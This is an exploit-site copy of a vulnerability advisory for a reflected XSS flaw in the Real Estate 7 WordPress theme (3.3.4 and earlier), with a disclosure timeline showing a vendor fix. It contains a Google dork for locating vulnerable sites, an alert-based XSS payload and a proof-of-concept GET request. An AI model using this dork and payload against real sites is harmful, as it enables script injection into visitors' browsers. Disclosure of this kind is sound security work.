WordPress Real Estate 7 Theme < = 3.3.4 - Unauthenticated Reflected Cross-Site Scripting (XSS)

CVE Category Price Severity
Not specified CWE-79 $500 High
Author Risk Exploitation Type Date
Not specified High Remote 2023-03-05
Our sensors found this exploit at:

Below is a copy:

WordPress Real Estate 7 Theme <= 3.3.4 - Unauthenticated Reflected Cross-Site Scripting (XSS)
==== [ Z://USB-00_RESEARCH/WORDPRESS/ ] ============================================= [ 2023 ] ==

Report Title:        WordPress Real Estate 7 Theme <= 3.3.4 - Unauthenticated Reflected Cross-Site Scripting (XSS)
Google Dork:         inurl:/wp-content/themes/realestate-7/
Research Date:       2023-02-10
Researcher:          FearZzZz [ ]
Component Vendor:    Contempo Themes [ ]
Vulnerable Version:  <= 3.3.4
Component Link:
CVSS Base Score:     6.1 (Medium)
CVSS Vector String:  CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Top 10:        A7: Cross-Site Scripting (XSS)
CWE:                 CWE-79
CVE:                 TBA


#### [ Description: ]

The Real Estate 7 premium theme for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) attack vector in versions up to, and including, v3.3.4 via the 'ct_additional_features' option due to insufficient input sanitization and output escaping. This vulnerability allows unauthenticated attackers to inject malicious JavaScript payload in the search page that execute if they can trick a user into performing an action such as clicking on a link.

#### [ Impact: ]

Malicious JavaScript code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.

#### [ Payloads: ]

<img src=x onerror=(alert)(`FearZzZz`);>


#### [ Proof-of-Concept: ]

GET /?ct_mobile_keyword&ct_keyword=Z&ct_zipcode&search-listings=true&ct_additional_features%5B0%5D=central-forced-air%3Csvg%2Fonload%3Dalert%28%60FearZzZz%60%29%3E HTTP/2

#### [ Timeline: ]

2023.02.08 - Real Estate 7 Theme v3.3.4 released.
2023.02.10 - Vulnerability has been discovered.
2023.02.13 - Vendor notified, received a quick response.
2023.02.13 - Real Estate 7 Theme v3.3.5 released, the vulnerability has been fixed.

#### [ Contacts: ]

Email:     [email protected]

#### [ Notes: ]

Special thanks to Chris Robinson (Contempo Themes Founder & CEO) for the quick response and for the respectful communication.

#### [ Disclaimer: ]

The information provided in this report is provided "as is" without warranty of any kind. FearZzZz disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall FearZzZz be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if FearZzZz have been advised of the possibility of such damages.

========================================================================== [ ] ==

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.